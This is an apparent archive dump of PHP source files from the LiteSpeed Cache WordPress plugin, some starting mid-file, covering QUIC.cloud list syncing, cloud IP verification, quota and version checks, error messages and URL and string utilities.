guest.cls.php000064400000005405152077520260007176 0ustar00sync_lists(); } /** * Sync Guest Mode IP and UA lists. * * Fetches the latest IP and UA lists from QUIC.cloud API and saves them locally. * * @since 7.7 * @return array{success: bool, message: string} */ public function sync_lists() { self::debug( 'Starting Guest Mode lists sync' ); $cloud_dir = LITESPEED_STATIC_DIR . '/cloud'; $results = [ 'ips' => false, 'uas' => false, ]; foreach ( [ 'ips', 'uas' ] as $type ) { $data = $this->_fetch_api( $this->_cloud_server_wp . '/gm_' . $type ); if ( $data && File::save( $cloud_dir . '/gm_' . $type . '.txt', $data, true ) ) { self::debug( 'Guest Mode ' . $type . ' synced' ); $results[ $type ] = true; } } $success = $results['ips'] && $results['uas']; $message = $success ? __( 'Guest Mode lists synced successfully.', 'litespeed-cache' ) : __( 'Failed to sync Guest Mode lists.', 'litespeed-cache' ); return [ 'success' => $success, 'message' => $message, ]; } /** * Fetch data from API. * * @since 7.7 * @param string $url API URL. * @return string|false Data on success, false on failure. */ private function _fetch_api( $url ) { self::debug( 'Fetching: ' . $url ); $response = wp_remote_get( $url, [ 'timeout' => 15, ] ); if ( is_wp_error( $response ) ) { self::debug( 'Fetch error: ' . $response->get_error_message() ); return false; } $code = wp_remote_retrieve_response_code( $response ); if ( 200 !== $code ) { self::debug( 'Fetch failed with code: ' . $code ); return false; } $body = wp_remote_retrieve_body( $response ); if ( empty( $body ) ) { self::debug( 'Empty response body' ); return false; } return $body; } /** * Handle all request actions from main class. * * @since 7.7 * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_SYNC: $result = $this->sync_lists(); if ( Router::is_ajax() ) { wp_send_json( $result ); } if ( $result['success'] ) { Admin_Display::success( $result['message'] ); } else { Admin_Display::error( $result['message'] ); } break; default: break; } Admin::redirect(); } } cloud-misc.trait.php000064400000024514152077520260010452 0ustar00xxxxxxxx2` * * @since 7.0 * * @param string $type Type. * @param bool $force Force refresh. * @return string */ public function load_qc_status_for_dash( $type, $force = false ) { return Str::translate_qc_apis( $this->_load_qc_status_for_dash( $type, $force ) ); } /** * Internal: load QC status HTML for dash. * * @param string $type Type. * @param bool $force Force refresh. * @return string */ private function _load_qc_status_for_dash( $type, $force = false ) { if ( ! $force && ! empty( $this->_summary['mini_html'] ) && isset( $this->_summary['mini_html'][ $type ] ) && ! empty( $this->_summary['mini_html'][ 'ttl.' . $type ] ) && $this->_summary['mini_html'][ 'ttl.' . $type ] > time() ) { return Str::safe_html( $this->_summary['mini_html'][ $type ] ); } // Try to update dash content $data = self::post( self::SVC_D_DASH, [ 'action2' => ( 'cdn_dash_mini' === $type ? 'cdn_dash' : $type ) ] ); if ( ! empty( $data['qc_activated'] ) ) { // Sync conf as changed if ( empty( $this->_summary['qc_activated'] ) || $this->_summary['qc_activated'] !== $data['qc_activated'] ) { $msg = sprintf( __( 'Congratulations, %s successfully set this domain up for the online services with CDN service.', 'litespeed-cache' ), 'QUIC.cloud' ); Admin_Display::success( '🎊 ' . $msg ); $this->_clear_reset_qc_reg_msg(); // Turn on CDN option $this->cls( 'Conf' )->update_confs( [ self::O_CDN_QUIC => true ] ); $this->cls( 'CDN\Quic' )->try_sync_conf( true ); } $this->_summary['qc_activated'] = $data['qc_activated']; $this->save_summary(); } // Show the info if ( isset( $this->_summary['mini_html'][ $type ] ) ) { return Str::safe_html( $this->_summary['mini_html'][ $type ] ); } return ''; } /** * Show latest commit version always if is on dev * * @since 3.0 */ public function check_dev_version() { if ( ! preg_match( '/[^\d\.]/', Core::VER ) ) { return; } $last_check = empty( $this->_summary[ 'last_request.' . self::API_VER ] ) ? 0 : $this->_summary[ 'last_request.' . self::API_VER ]; if ( time() - $last_check > 86400 ) { $auto_v = self::version_check( 'dev' ); if ( ! empty( $auto_v['dev'] ) ) { self::save_summary( [ 'version.dev' => $auto_v['dev'] ] ); } } if ( empty( $this->_summary['version.dev'] ) ) { return; } self::debug( 'Latest dev version ' . $this->_summary['version.dev'] ); if ( version_compare( $this->_summary['version.dev'], Core::VER, '<=' ) ) { return; } // Show the dev banner require_once LSCWP_DIR . 'tpl/banner/new_version_dev.tpl.php'; } /** * Check latest version * * @since 2.9 * @access public * * @param string|false $src Source. * @return mixed */ public static function version_check( $src = false ) { $req_data = [ 'v' => defined( 'LSCWP_CUR_V' ) ? LSCWP_CUR_V : '', 'src' => $src, 'php' => phpversion(), ]; // If code ver is smaller than db ver, bypass if ( ! empty( $req_data['v'] ) && version_compare( Core::VER, $req_data['v'], '<' ) ) { return; } if ( defined( 'LITESPEED_ERR' ) ) { $litespeed_err = constant( 'LITESPEED_ERR' ); $req_data['err'] = base64_encode( ! is_string( $litespeed_err ) ? wp_json_encode( $litespeed_err ) : $litespeed_err ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode } $data = self::post( self::API_VER, $req_data ); return $data; } /** * Show latest news * * @since 3.0 */ public function news() { $this->_update_news(); if ( empty( $this->_summary['news.new'] ) ) { return; } if ( ! empty( $this->_summary['news.plugin'] ) && Activation::cls()->dash_notifier_is_plugin_active( $this->_summary['news.plugin'] ) ) { return; } require_once LSCWP_DIR . 'tpl/banner/cloud_news.tpl.php'; } /** * Update latest news * * @since 2.9.9.1 */ private function _update_news() { if ( ! empty( $this->_summary['news.utime'] ) && time() - (int) $this->_summary['news.utime'] < 86400 * 7 ) { return; } self::save_summary( [ 'news.utime' => time() ] ); $data = self::get( self::API_NEWS ); if ( empty( $data['id'] ) ) { return; } // Save news if ( ! empty( $this->_summary['news.id'] ) && (string) $this->_summary['news.id'] === (string) $data['id'] ) { return; } $this->_summary['news.id'] = $data['id']; $this->_summary['news.plugin'] = ! empty( $data['plugin'] ) ? $data['plugin'] : ''; $this->_summary['news.title'] = ! empty( $data['title'] ) ? $data['title'] : ''; $this->_summary['news.content'] = ! empty( $data['content'] ) ? $data['content'] : ''; $this->_summary['news.zip'] = ! empty( $data['zip'] ) ? $data['zip'] : ''; $this->_summary['news.new'] = 1; if ( $this->_summary['news.plugin'] ) { $plugin_info = Activation::cls()->dash_notifier_get_plugin_info( $this->_summary['news.plugin'] ); if ( $plugin_info && ! empty( $plugin_info->name ) ) { $this->_summary['news.plugin_name'] = $plugin_info->name; } } self::save_summary(); } /** * Check if contains a package in a service or not * * @since 4.0 * * @param string $service Service. * @param int $pkg Package flag. * @return bool */ public function has_pkg( $service, $pkg ) { if ( ! empty( $this->_summary[ 'usage.' . $service ]['pkgs'] ) && ( $this->_summary[ 'usage.' . $service ]['pkgs'] & $pkg ) ) { return true; } return false; } /** * Get allowance of current service * * @since 3.0 * @access private * * @param string $service Service. * @param string|bool $err Error code by ref. * @return int */ public function allowance( $service, &$err = false ) { // Only auto sync usage at most one time per day if ( empty( $this->_summary[ 'last_request.' . self::SVC_D_USAGE ] ) || time() - (int) $this->_summary[ 'last_request.' . self::SVC_D_USAGE ] > 86400 ) { $this->sync_usage(); } if ( in_array( $service, [ self::SVC_CCSS, self::SVC_UCSS, self::SVC_VPI ], true ) ) { // @since 4.2 $service = self::SVC_PAGE_OPTM; } if ( empty( $this->_summary[ 'usage.' . $service ] ) ) { return 0; } $usage = $this->_summary[ 'usage.' . $service ]; // Image optm is always free $allowance_max = 0; if ( self::SVC_IMG_OPTM === $service ) { $allowance_max = self::IMG_OPTM_DEFAULT_GROUP; } $allowance = (int) $usage['quota'] - (int) $usage['used']; $err = 'out_of_quota'; if ( $allowance > 0 ) { if ( $allowance_max && $allowance_max < $allowance ) { $allowance = $allowance_max; } // Daily limit @since 4.2 if ( isset( $usage['remaining_daily_quota'] ) && $usage['remaining_daily_quota'] >= 0 && $usage['remaining_daily_quota'] < $allowance ) { $allowance = $usage['remaining_daily_quota']; if ( ! $allowance ) { $err = 'out_of_daily_quota'; } } return $allowance; } // Check Pay As You Go balance if ( empty( $usage['pag_bal'] ) ) { return $allowance_max; } if ( $allowance_max && $allowance_max < $usage['pag_bal'] ) { return $allowance_max; } return (int) $usage['pag_bal']; } /** * Sync Cloud usage summary data * * @since 3.0 * @access public */ public function sync_usage() { $usage = $this->_post( self::SVC_D_USAGE ); if ( ! $usage ) { return; } self::debug( 'sync_usage ' . wp_json_encode( $usage ) ); foreach ( self::$services as $v ) { $this->_summary[ 'usage.' . $v ] = ! empty( $usage[ $v ] ) ? $usage[ $v ] : false; } self::save_summary(); return $this->_summary; } /** * REST call: check if the error domain is valid call for auto alias purpose * * @since 5.0 */ public function rest_err_domains() { // phpcs:ignore WordPress.Security.NonceVerification.Missing $alias = !empty( $_POST['alias'] ) ? sanitize_text_field( wp_unslash( $_POST['alias'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( empty( $_POST['main_domain'] ) || !$alias ) { return self::err( 'lack_of_param' ); } // phpcs:ignore WordPress.Security.NonceVerification.Missing $this->extract_msg( $_POST, 'Quic.cloud', false, true ); if ( $this->_is_err_domain( $alias ) ) { if ( site_url() === $alias ) { $this->_remove_domain_from_err_list( $alias ); } return self::ok(); } return self::err( 'Not an alias req from here' ); } /** * Remove a domain from err domain * * @since 5.0 * * @param string $url URL to remove. */ private function _remove_domain_from_err_list( $url ) { unset( $this->_summary['err_domains'][ $url ] ); self::save_summary(); } /** * Check if is err domain * * @since 5.0 * * @param string $site_url Site URL. * @return bool */ private function _is_err_domain( $site_url ) { if ( empty( $this->_summary['err_domains'] ) ) { return false; } if ( ! array_key_exists( $site_url, $this->_summary['err_domains'] ) ) { return false; } // Auto delete if too long ago if ( time() - (int) $this->_summary['err_domains'][ $site_url ] > 86400 * 10 ) { $this->_remove_domain_from_err_list( $site_url ); return false; } if ( time() - (int) $this->_summary['err_domains'][ $site_url ] > 86400 ) { return false; } return true; } /** * Show promo from cloud * * @since 3.0 * @access public */ public function show_promo() { if ( empty( $this->_summary['promo'] ) ) { return; } require_once LSCWP_DIR . 'tpl/banner/cloud_promo.tpl.php'; } /** * Clear promo from cloud * * @since 3.0 * @access private */ private function _clear_promo() { if ( count( $this->_summary['promo'] ) > 1 ) { array_shift( $this->_summary['promo'] ); } else { $this->_summary['promo'] = []; } self::save_summary(); } /** * Display a banner for dev env if using preview QC node. * * @since 7.0 */ public function maybe_preview_banner() { if ( false !== strpos( $this->_cloud_server, 'preview.' ) ) { Admin_Display::note( __( 'Linked to QUIC.cloud preview environment, for testing purpose only.', 'litespeed-cache' ), true, true, 'litespeed-warning-bg' ); } } } error.cls.php000064400000016552152077520260007205 0ustar00 4300, // .htaccess did not find. 'HTA_DNF' => 4500, // .htaccess did not find. 'HTA_BK' => 9010, // backup 'HTA_R' => 9041, // read htaccess 'HTA_W' => 9042, // write 'HTA_GET' => 9030, // failed to get ]; /** * Throw an error with message * * Throws an exception with the translated error message. * * @since 3.0 * @access public * @param string $code Error code. * @param mixed $args Optional arguments for message formatting. * @throws \Exception Always throws an exception with the error message. */ public static function t( $code, $args = null ) { throw new \Exception( wp_kses_post( self::msg( $code, $args ) ) ); } /** * Translate an error to description * * Converts error codes to human-readable messages. * * @since 3.0 * @access public * @param string $code Error code. * @param mixed $args Optional arguments for message formatting. * @return string Translated error message. */ public static function msg( $code, $args = null ) { switch ( $code ) { case 'qc_setup_required': $msg = sprintf( __( 'You will need to finish %s setup to use the online services.', 'litespeed-cache' ), 'QUIC.cloud' ) . Doc::learn_more( admin_url( 'admin.php?page=litespeed-general' ), __( 'Click here to set.', 'litespeed-cache' ), true, false, true ); break; case 'out_of_daily_quota': $msg = __( 'You have used all of your daily quota for today.', 'litespeed-cache' ); $msg .= ' ' . Doc::learn_more( 'https://docs.quic.cloud/billing/services/#daily-limits-on-free-quota-usage', __( 'Learn more or purchase additional quota.', 'litespeed-cache' ), false, false, true ); break; case 'out_of_quota': $msg = __( 'You have used all of your quota left for current service this month.', 'litespeed-cache' ); $msg .= ' ' . Doc::learn_more( 'https://docs.quic.cloud/billing/services/#daily-limits-on-free-quota-usage', __( 'Learn more or purchase additional quota.', 'litespeed-cache' ), false, false, true ); break; case 'too_many_requested': $msg = __( 'You have too many requested images, please try again in a few minutes.', 'litespeed-cache' ); break; case 'too_many_notified': $msg = __( 'You have images waiting to be pulled. Please wait for the automatic pull to complete, or pull them down manually now.', 'litespeed-cache' ); break; case 'empty_list': $msg = __( 'The image list is empty.', 'litespeed-cache' ); break; case 'lack_of_param': $msg = __( 'Not enough parameters. Please check if the QUIC.cloud connection is set correctly', 'litespeed-cache' ); break; case 'unfinished_queue': $msg = __( 'There is proceeding queue not pulled yet.', 'litespeed-cache' ); break; case 0 === strpos( $code, 'unfinished_queue ' ): $msg = sprintf( __( 'There is proceeding queue not pulled yet. Queue info: %s.', 'litespeed-cache' ), '' . substr( $code, strlen( 'unfinished_queue ' ) ) . '' ); break; case 'err_alias': $msg = __( 'The site is not a valid alias on QUIC.cloud.', 'litespeed-cache' ); break; case 'site_not_registered': $msg = __( 'The site is not registered on QUIC.cloud.', 'litespeed-cache' ); break; case 'err_key': $msg = __( 'The QUIC.cloud connection is not correct. Please try to sync your QUIC.cloud connection again.', 'litespeed-cache' ); break; case 'heavy_load': $msg = __( 'The current server is under heavy load.', 'litespeed-cache' ); break; case 'redetect_node': $msg = __( 'Online node needs to be redetected.', 'litespeed-cache' ); break; case 'err_overdraw': $msg = __( 'Credits are not enough to proceed the current request.', 'litespeed-cache' ); break; case 'W': $msg = __( '%s file not writable.', 'litespeed-cache' ); break; case 'HTA_DNF': if ( ! is_array( $args ) ) { $args = [ '' . $args . '' ]; } $args[] = '.htaccess'; $msg = __( 'Could not find %1$s in %2$s.', 'litespeed-cache' ); break; case 'HTA_LOGIN_COOKIE_INVALID': $msg = sprintf( __( 'Invalid login cookie. Please check the %s file.', 'litespeed-cache' ), '.htaccess' ); break; case 'HTA_BK': $msg = sprintf( __( 'Failed to back up %s file, aborted changes.', 'litespeed-cache' ), '.htaccess' ); break; case 'HTA_R': $msg = sprintf( __( '%s file not readable.', 'litespeed-cache' ), '.htaccess' ); break; case 'HTA_W': $msg = sprintf( __( '%s file not writable.', 'litespeed-cache' ), '.htaccess' ); break; case 'HTA_GET': $msg = sprintf( __( 'Failed to get %s file contents.', 'litespeed-cache' ), '.htaccess' ); break; case 'failed_tb_creation': $msg = __( 'Failed to create table %1$s! SQL: %2$s.', 'litespeed-cache' ); break; case 'crawler_disabled': $msg = __( 'Crawler disabled by the server admin.', 'litespeed-cache' ); break; case 'try_later': // QC error code $msg = __( 'Previous request too recent. Please try again later.', 'litespeed-cache' ); break; case 0 === strpos( $code, 'try_later ' ): $msg = sprintf( __( 'Previous request too recent. Please try again after %s.', 'litespeed-cache' ), '' . Utility::readable_time( substr( $code, strlen( 'try_later ' ) ), 3600, true ) . '' ); break; case 'waiting_for_approval': $msg = __( 'Your application is waiting for approval.', 'litespeed-cache' ); break; case 'callback_fail_hash': $msg = __( 'The callback validation to your domain failed due to hash mismatch.', 'litespeed-cache' ); break; case 'callback_fail': $msg = __( 'The callback validation to your domain failed. Please make sure there is no firewall blocking our servers.', 'litespeed-cache' ); break; case substr( $code, 0, 14 ) === 'callback_fail ': $msg = __( 'The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: ', 'litespeed-cache' ) . substr( $code, 14 ); break; case 'forbidden': $msg = __( 'Your domain has been forbidden from using our services due to a previous policy violation.', 'litespeed-cache' ); break; case 'err_dns_active': $msg = __( 'You cannot remove this DNS zone, because it is still in use. Please update the domain\'s nameservers, then try to delete this zone again, otherwise your site will become inaccessible.', 'litespeed-cache' ); break; default: $msg = __( 'Unknown error', 'litespeed-cache' ) . ': ' . $code; break; } if ( null !== $args ) { $msg = is_array( $args ) ? vsprintf( $msg, $args ) : sprintf( $msg, $args ); } if ( isset( self::$code_set[ $code ] ) ) { $msg = 'ERROR ' . self::$code_set[ $code ] . ': ' . $msg; } return $msg; } } cloud-auth-ip.trait.php000064400000010521152077520260011057 0ustar00_summary['pk_b64'], 0, 4 ) ) !== $hash ) { self::debug( '__callback IP request decryption failed' ); return self::err( 'err_hash' ); } Control::set_nocache( 'Cloud IP hash validation' ); $resp_hash = md5( substr( $this->_summary['pk_b64'], 2, 4 ) ); self::debug( '__callback IP request hash: ' . $resp_hash ); return self::ok( [ 'hash' => $resp_hash ] ); } /** * Check if this visit is from cloud or not * * @since 3.0 */ public function is_from_cloud() { $check_point = time() - 86400 * self::TTL_IPS; if ( empty( $this->_summary['ips'] ) || empty( $this->_summary['ips_ts'] ) || $this->_summary['ips_ts'] < $check_point ) { self::debug( 'Force updating ip as ips_ts is older than ' . self::TTL_IPS . ' days' ); $this->_update_ips(); } $res = $this->cls( 'Router' )->ip_access( $this->_summary['ips'] ); if ( ! $res ) { self::debug( '❌ Not our cloud IP' ); // Auto check ip list again but need an interval limit safety. if ( empty( $this->_summary['ips_ts_runner'] ) || time() - (int) $this->_summary['ips_ts_runner'] > 600 ) { self::debug( 'Force updating ip as ips_ts_runner is older than 10mins' ); // Refresh IP list for future detection $this->_update_ips(); $res = $this->cls( 'Router' )->ip_access( $this->_summary['ips'] ); if ( ! $res ) { self::debug( '❌ 2nd time: Not our cloud IP' ); } else { self::debug( '✅ Passed Cloud IP verification' ); } return $res; } } else { self::debug( '✅ Passed Cloud IP verification' ); } return $res; } /** * Update Cloud IP list * * @since 4.2 * * @throws \Exception When fetching whitelist fails. */ private function _update_ips() { self::debug( 'Load remote Cloud IP list from ' . $this->_cloud_ips ); // Prevent multiple call in a short period self::save_summary([ 'ips_ts' => time(), 'ips_ts_runner' => time(), ]); $response = wp_safe_remote_get( $this->_cloud_ips . '?json' ); if ( is_wp_error( $response ) ) { $error_message = $response->get_error_message(); self::debug( 'failed to get ip whitelist: ' . $error_message ); throw new \Exception( 'Failed to fetch QUIC.cloud whitelist ' . esc_html($error_message) ); } $json = \json_decode( $response['body'], true ); self::debug( 'Load ips', $json ); self::save_summary( [ 'ips' => $json ] ); } /** * Return pong for ping to check PHP function availability * * @since 6.5 * * @return array */ public function ping() { $resp = [ 'v_lscwp' => Core::VER, 'v_lscwp_db' => $this->conf( self::_VER ), 'v_php' => PHP_VERSION, 'v_wp' => $GLOBALS['wp_version'], 'home_url' => home_url(), 'site_url' => site_url(), ]; // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( ! empty( $_POST['funcs'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized foreach ( wp_unslash($_POST['funcs']) as $v ) { $resp[ $v ] = function_exists( $v ) ? 'y' : 'n'; } } // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( ! empty( $_POST['classes'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized foreach ( wp_unslash($_POST['classes']) as $v ) { $resp[ $v ] = class_exists( $v ) ? 'y' : 'n'; } } // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( ! empty( $_POST['consts'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized foreach ( wp_unslash($_POST['consts']) as $v ) { $resp[ $v ] = defined( $v ) ? 'y' : 'n'; } } return self::ok( $resp ); } } utility.cls.php000064400000064016152077520260007555 0ustar00|null */ private static $_internal_domains; /** * Validate a list of regex rules by attempting to compile them. * * @since 1.0.9 * @since 3.0 Moved here from admin-settings.cls * @param array $rules Regex fragments (without delimiters). * @return bool True for valid rules, false otherwise. */ public static function syntax_checker( $rules ) { return false !== preg_match( self::arr2regex( $rules ), '' ); } /** * Combine an array of strings into a single alternation regex. * * @since 3.0 * * @param array $arr List of strings. * @param bool $drop_delimiter When true, return without regex delimiters. * @return string Regex pattern. */ public static function arr2regex( $arr, $drop_delimiter = false ) { $arr = self::sanitize_lines( $arr ); $new_arr = []; foreach ( $arr as $v ) { $new_arr[] = preg_quote( $v, '#' ); } $regex = implode( '|', $new_arr ); $regex = str_replace( ' ', '\\ ', $regex ); if ( $drop_delimiter ) { return $regex; } return '#' . $regex . '#'; } /** * Replace wildcard characters in a string/array with their regex equivalents. * * @since 3.2.2 * * @param string|array $value String or list of strings. * @return string|array */ public static function wildcard2regex( $value ) { if ( is_array( $value ) ) { return array_map( __CLASS__ . '::wildcard2regex', $value ); } if ( false !== strpos( $value, '*' ) ) { $value = preg_quote( $value, '#' ); $value = str_replace( '\*', '.*', $value ); } return $value; } /** * Get current page type string. * * @since 2.9 * * @return string Page type. */ public static function page_type() { global $wp_query; $page_type = 'default'; if ( $wp_query->is_page ) { $page_type = is_front_page() ? 'front' : 'page'; } elseif ( $wp_query->is_home ) { $page_type = 'home'; } elseif ( $wp_query->is_single ) { $page_type = get_post_type(); } elseif ( $wp_query->is_category ) { $page_type = 'category'; } elseif ( $wp_query->is_tag ) { $page_type = 'tag'; } elseif ( $wp_query->is_tax ) { $page_type = 'tax'; } elseif ( $wp_query->is_archive ) { if ( $wp_query->is_day ) { $page_type = 'day'; } elseif ( $wp_query->is_month ) { $page_type = 'month'; } elseif ( $wp_query->is_year ) { $page_type = 'year'; } elseif ( $wp_query->is_author ) { $page_type = 'author'; } else { $page_type = 'archive'; } } elseif ( $wp_query->is_search ) { $page_type = 'search'; } elseif ( $wp_query->is_404 ) { $page_type = '404'; } return $page_type; } /** * Get ping speed to a domain via HTTP HEAD timing. * * @since 2.9 * * @param string $domain Domain or URL. * @return int Milliseconds (99999 on error). */ public static function ping( $domain ) { if ( false !== strpos( $domain, ':' ) ) { $host = wp_parse_url( $domain, PHP_URL_HOST ); $domain = $host ? $host : $domain; } $starttime = microtime(true); $file = fsockopen($domain, 443, $errno, $errstr, 10); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fsockopen $stoptime = microtime(true); $status = 0; if (!$file) { $status = 99999; } else { // Site is up fclose($file); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose $status = ($stoptime - $starttime) * 1000; $status = floor($status); } Debug2::debug("[Util] ping [Domain] $domain \t[Speed] $status"); return $status; } /** * Convert seconds/timestamp to a readable relative time. * * @since 1.6.5 * * @param int $seconds_or_timestamp Seconds or 10-digit timestamp. * @param int $timeout If older than this, show absolute time. * @param bool $forward When true, omit "ago". * @return string Human readable time. */ public static function readable_time( $seconds_or_timestamp, $timeout = 3600, $forward = false ) { if ( 10 === strlen( (string) $seconds_or_timestamp ) ) { $seconds = time() - (int) $seconds_or_timestamp; if ( $seconds > $timeout ) { return gmdate( 'm/d/Y H:i:s', (int) $seconds_or_timestamp + (int) LITESPEED_TIME_OFFSET ); } } else { $seconds = (int) $seconds_or_timestamp; } $res = ''; if ( $seconds > 86400 ) { $num = (int) floor( $seconds / 86400 ); $res .= $num . 'd'; $seconds %= 86400; } if ( $seconds > 3600 ) { if ( $res ) { $res .= ', '; } $num = (int) floor( $seconds / 3600 ); $res .= $num . 'h'; $seconds %= 3600; } if ( $seconds > 60 ) { if ( $res ) { $res .= ', '; } $num = (int) floor( $seconds / 60 ); $res .= $num . 'm'; $seconds %= 60; } if ( $seconds > 0 ) { if ( $res ) { $res .= ' '; } $res .= $seconds . 's'; } if ( ! $res ) { return $forward ? __( 'right now', 'litespeed-cache' ) : __( 'just now', 'litespeed-cache' ); } return $forward ? $res : sprintf( __( ' %s ago', 'litespeed-cache' ), $res ); } /** * Convert array to a compact base64 JSON string. * * @since 1.6 * * @param mixed $arr Input array or scalar. * @return string|mixed Encoded string or original value. */ public static function arr2str( $arr ) { if ( ! is_array( $arr ) ) { return $arr; } return base64_encode( wp_json_encode( $arr ) ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode } /** * Convert size in bytes to human readable form. * * @since 1.6 * * @param int $filesize Bytes. * @param bool $is_1000 When true, use 1000-based units. * @return string */ public static function real_size( $filesize, $is_1000 = false ) { $unit = $is_1000 ? 1000 : 1024; if ( $filesize >= pow( $unit, 3 ) ) { $filesize = round( ( $filesize / pow( $unit, 3 ) ) * 100 ) / 100 . 'G'; } elseif ( $filesize >= pow( $unit, 2 ) ) { $filesize = round( ( $filesize / pow( $unit, 2 ) ) * 100 ) / 100 . 'M'; } elseif ( $filesize >= $unit ) { $filesize = round( ( $filesize / $unit ) * 100 ) / 100 . 'K'; } else { $filesize = $filesize . 'B'; } return $filesize; } /** * Parse HTML attribute string into an array. * * @since 1.2.2 * @since 1.4 Moved from optimize to utility * @access private * * @param string $str Raw attribute string. * @return array Attributes. */ public static function parse_attr( $str ) { $attrs = []; $parsed = wp_kses_hair( $str, self::_kses_protocols() ); foreach ( $parsed as $name => $data ) { $attrs[ $name ] = $data['value']; } return $attrs; } /** * Remove an attribute from an HTML attribute string using wp_kses_hair. * * @since 7.8 * * @param string $attr_str Raw attribute string (e.g. ' type="text/javascript" src="..."'). * @param string $attr_name Attribute name to remove (e.g. 'type', 'async'). * @return string Attribute string with the named attribute removed. */ public static function remove_attr( $attr_str, $attr_name ) { $parsed = wp_kses_hair( $attr_str, self::_kses_protocols() ); if ( ! isset( $parsed[ $attr_name ] ) ) { return $attr_str; } $whole = $parsed[ $attr_name ]['whole']; // For valueless attrs (e.g. async), use word boundary to avoid partial match (e.g. async-fallback) if ( 'y' === $parsed[ $attr_name ]['vless'] ) { return preg_replace( '# ' . preg_quote( $whole, '#' ) . '(?=\s|>|/|$)#i', '', $attr_str, 1 ); } // For attrs with value (e.g. type="text/javascript"), straight replace is safe $result = str_replace( ' ' . $whole, '', $attr_str ); // Handle edge case: attr at the very start of string (no leading space) if ( $result === $attr_str && 0 === strpos( $attr_str, $whole ) ) { $result = ltrim( substr( $attr_str, strlen( $whole ) ) ); } return $result; } /** * Return allowed protocols including data: for attribute parsing. * * WordPress wp_allowed_protocols() does not include data:, but our parse/remove * helpers must preserve data: URIs (e.g. base64 placeholder images). * * @since 7.8 * @return string[] */ private static function _kses_protocols() { static $protocols; if ( null === $protocols ) { $protocols = array_merge( wp_allowed_protocols(), [ 'data' ] ); } return $protocols; } /** * Search for a hit within an array of strings/rules. * * Supports ^prefix, suffix$, ^exact$, and substring. * * @since 1.3 * @access private * * @param string $needle The string to compare. * @param array $haystack Array of rules/strings. * @param bool $has_ttl When true, support "rule TTL" format. * @return bool|string|array False if not found; matched item or [item, ttl] if has_ttl. */ public static function str_hit_array( $needle, $haystack, $has_ttl = false ) { if ( ! $haystack ) { return false; } if ( ! is_array( $haystack ) ) { Debug2::debug( '[Util] ❌ bad param in str_hit_array()!' ); return false; } $hit = false; $this_ttl = 0; foreach ( $haystack as $item ) { if ( ! $item ) { continue; } if ( $has_ttl ) { $this_ttl = 0; $item = explode( ' ', $item ); if ( ! empty( $item[1] ) ) { $this_ttl = $item[1]; } $item = $item[0]; } if ( '^' === substr( $item, 0, 1 ) && '$' === substr( $item, -1 ) ) { if ( substr( $item, 1, -1 ) === $needle ) { $hit = $item; break; } } elseif ( '$' === substr( $item, -1 ) ) { if ( substr( $item, 0, -1 ) === substr( $needle, -strlen( $item ) + 1 ) ) { $hit = $item; break; } } elseif ( '^' === substr( $item, 0, 1 ) ) { if ( substr( $item, 1 ) === substr( $needle, 0, strlen( $item ) - 1 ) ) { $hit = $item; break; } } elseif ( false !== strpos( $needle, $item ) ) { $hit = $item; break; } } if ( $hit ) { return $has_ttl ? [ $hit, $this_ttl ] : $hit; } return false; } /** * Load PHP-compat library. * * @since 1.2.2 * @return void */ public static function compatibility() { require_once LSCWP_DIR . 'lib/php-compatibility.func.php'; } /** * Convert URI path to absolute URL. * * @since 1.3 * * @param string $uri Relative path `/a/b.html` or `a/b.html`. * @return string Absolute URL. */ public static function uri2url( $uri ) { if ( '/' === substr( $uri, 0, 1 ) ) { self::domain_const(); $url = LSCWP_DOMAIN . $uri; } else { $url = home_url( '/' ) . $uri; } return $url; } /** * Get basename from URL. * * @since 4.7 * * @param string $url URL. * @return string Basename. */ public static function basename( $url ) { $url = trim( $url ); $uri = wp_parse_url( $url, PHP_URL_PATH ); $basename = pathinfo( (string) $uri, PATHINFO_BASENAME ); return $basename; } /** * Drop .webp and .avif suffix from a filename. * * @since 4.7 * * @param string $filename Filename. * @return string Cleaned filename. */ public static function drop_webp( $filename ) { if ( in_array( substr( $filename, -5 ), [ '.webp', '.avif' ], true ) ) { $filename = substr( $filename, 0, -5 ); } return $filename; } /** * Convert URL to URI (optionally keep query). * * @since 1.2.2 * @since 1.6.2.1 Added 2nd param keep_qs * * @param string $url URL. * @param bool $keep_qs Keep query string. * @return string URI. */ public static function url2uri( $url, $keep_qs = false ) { $url = trim( $url ); $uri = wp_parse_url( $url, PHP_URL_PATH ); $qs = wp_parse_url( $url, PHP_URL_QUERY ); if ( ! $keep_qs || ! $qs ) { return (string) $uri; } return (string) $uri . '?' . $qs; } /** * Get attachment relative path to upload folder. * * @since 3.0 * * @param string $url Full attachment URL. * @return string Relative upload path like `2018/08/file.jpg`. */ public static function att_short_path( $url ) { if ( ! defined( 'LITESPEED_UPLOAD_PATH' ) ) { $_wp_upload_dir = wp_upload_dir(); $upload_path = self::url2uri( $_wp_upload_dir['baseurl'] ); define( 'LITESPEED_UPLOAD_PATH', $upload_path ); } $local_file = self::url2uri( $url ); $short_path = substr( $local_file, strlen( LITESPEED_UPLOAD_PATH ) + 1 ); return $short_path; } /** * Make URL relative to the site root (preserves subdir). * * @param string $url Absolute URL. * @return string Relative URL starting with '/'. */ public static function make_relative( $url ) { self::domain_const(); if ( 0 === strpos( $url, LSCWP_DOMAIN ) ) { $url = substr( $url, strlen( LSCWP_DOMAIN ) ); } return trim( $url ); } /** * Extract just the scheme+host portion from a URL. * * @since 1.7.1 * * @param string $url URL. * @return string Host-only URL (with scheme if available). */ public static function parse_domain( $url ) { $parsed = wp_parse_url( $url ); if ( empty( $parsed['host'] ) ) { return ''; } if ( ! empty( 